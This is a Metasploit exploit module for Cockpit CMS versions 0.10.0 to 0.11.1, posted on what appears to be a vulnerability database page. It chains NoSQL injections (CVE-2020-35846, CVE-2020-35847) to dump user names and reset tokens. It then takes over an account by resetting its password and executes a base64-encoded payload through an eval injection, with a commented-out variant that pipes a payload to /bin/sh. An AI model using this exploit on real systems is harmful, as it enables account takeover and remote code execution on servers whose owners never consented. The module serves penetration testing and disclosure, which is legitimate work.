Thursday, April 29, 2021

Cockpit CMS 0.11.1 NoSQL Injection / Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/hashes/identify'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cockpit CMS NoSQLi to RCE',
'Description' => %q{
This module exploits two NoSQLi vulnerabilities to retrieve the user list,
and password reset tokens from the system. Next, the USER is targetted to
reset their password.
Then a command injection vulnerability is used to execute the payload.
While it is possible to upload a payload and execute it, the command injection
provides a no disk write method which is more stealthy.
Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities
for exploitation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Nikita Petrov' # original PoC, analysis
],
'References' =>
[
[ 'URL', 'https://swarm.ptsecurity.com/rce-cockpit-cms/' ],
[ 'CVE', '2020-35847' ], # reset token extraction
[ 'CVE', '2020-35846' ], # user name extraction
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Privileged' => false,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultOptions' =>
{
'PrependFork' => true
},
'DisclosureDate' => '2021-04-13',
'DefaultTarget' => 0,
'Notes' =>
{
# ACCOUNT_LOCKOUTS due to reset of user password
'SideEffects' => [ ACCOUNT_LOCKOUTS, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SERVICE_DOWN ]
}
)
)

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of Cockpit', '/']),
OptBool.new('ENUM_USERS', [false, 'Enumerate users', true]),
OptString.new('USER', [false, 'User account to take over', ''])
], self.class
)
end

def get_users(check: false)
print_status('Attempting Username Enumeration (CVE-2020-35846)')
res = send_request_raw(
'uri' => '/auth/requestreset',
'method' => 'POST',
'ctype' => 'application/json',
'data' => JSON.generate({ 'user' => { '$func' => 'var_dump' } })
)

fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

# return bool of if not vulnerable
# https://github.com/agentejo/cockpit/blob/0.11.2/lib/MongoLite/Database.php#L432
if check
return (res.body.include?('Function should be callable') ||
# https://github.com/agentejo/cockpit/blob/0.12.0/lib/MongoLite/Database.php#L466
res.body.include?('Condition not valid') ||
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten == [])
end

res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
end

def get_reset_tokens
print_status('Obtaining reset tokens (CVE-2020-35847)')
res = send_request_raw(
'uri' => '/auth/resetpassword',
'method' => 'POST',
'ctype' => 'application/json',
'data' => JSON.generate({ 'token' => { '$func' => 'var_dump' } })
)

fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
end

def get_user_info(token)
print_status('Obtaining user info')
res = send_request_raw(
'uri' => '/auth/newpassword',
'method' => 'POST',
'ctype' => 'application/json',
'data' => JSON.generate({ 'token' => token })
)

fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

/this.user\s+=([^;]+);/ =~ res.body
userdata = JSON.parse(Regexp.last_match(1))
userdata.each do |k, v|
print_status(" #{k}: #{v}")
end
report_cred(
username: userdata['user'],
password: userdata['password'],
private_type: :nonreplayable_hash
)
userdata
end

def reset_password(token, user)
password = Rex::Text.rand_password
print_good("Changing password to #{password}")
res = send_request_raw(
'uri' => '/auth/resetpassword',
'method' => 'POST',
'ctype' => 'application/json',
'data' => JSON.generate({ 'token' => token, 'password' => password })
)

fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

# loop through found results
body = JSON.parse(res.body)
print_good('Password update successful') if body['success']
report_cred(
username: user,
password: password,
private_type: :password
)
password
end

def report_cred(opts)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:username],
private_data: opts[:password],
private_type: opts[:private_type],
jtr_format: identify_hash(opts[:password])
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: ''
}.merge(service_data)
create_credential_login(login_data)
end

def login(un, pass)
print_status('Attempting login')
res = send_request_cgi(
'uri' => '/auth/login'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless /csfr\s+:\s+"([^"]+)"/ =~ res.body
cookie = res.get_cookies
res = send_request_raw(
'uri' => '/auth/check',
'method' => 'POST',
'ctype' => 'application/json',
'cookie' => cookie,
'data' => JSON.generate({ 'auth' => { 'user' => un, 'password' => pass }, 'csfr' => Regexp.last_match(1) })
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Login failed. This is unexpected...") if res.body.include?('"success":false')
print_good("Valid cookie for #{un}: #{cookie}")
cookie
end

def gen_token(user)
print_status('Attempting to generate tokens')
res = send_request_raw(
'uri' => '/auth/requestreset',
'method' => 'POST',
'ctype' => 'application/json',
'data' => JSON.generate({ user: user })
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
end

def rce(cookie)
print_status('Attempting RCE')
p = Rex::Text.encode_base64(payload.encoded)
send_request_raw(
'uri' => '/accounts/find',
'method' => 'POST',
'cookie' => cookie,
'ctype' => 'application/json',
# this is more similar to how the original POC worked, however even with the & and prepend fork
# it was locking the website (php/db_conn?) and throwing 504 or 408 errors from nginx until the session
# was killed when using an arch => cmd type payload.
# 'data' => "{\"options\":{\"filter\":{\"' + die(`echo '#{p}' | base64 -d | /bin/sh&`) + '\":0}}}"
# with this method most pages still seem to load, logins work, but the password reset will not respond
# however, everything else seems to work ok
'data' => "{\"options\":{\"filter\":{\"' + eval(base64_decode('#{p}')) + '\":0}}}"
)
end

def check
begin
return Exploit::CheckCode::Appears unless get_users(check: true)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
Exploit::CheckCode::Safe
end

def exploit
if datastore['ENUM_USERS']
users = get_users
print_good(" Found users: #{users}")
end

fail_with(Failure::BadConfig, "#{peer} - User to exploit required") if datastore['user'] == ''

tokens = get_reset_tokens
# post exploitation sometimes things get wonky, but doing a password recovery seems to fix it.
if tokens == []
gen_token(datastore['USER'])
tokens = get_reset_tokens
end
print_good(" Found tokens: #{tokens}")
good_token = ''
tokens.each do |token|
print_status("Checking token: #{token}")
userdata = get_user_info(token)
if userdata['user'] == datastore['USER']
good_token = token
break
end
end
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to get valid password reset token for user. Double check user") if good_token == ''
password = reset_password(good_token, datastore['USER'])
cookie = login(datastore['USER'], password)
rce(cookie)
end
end
 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore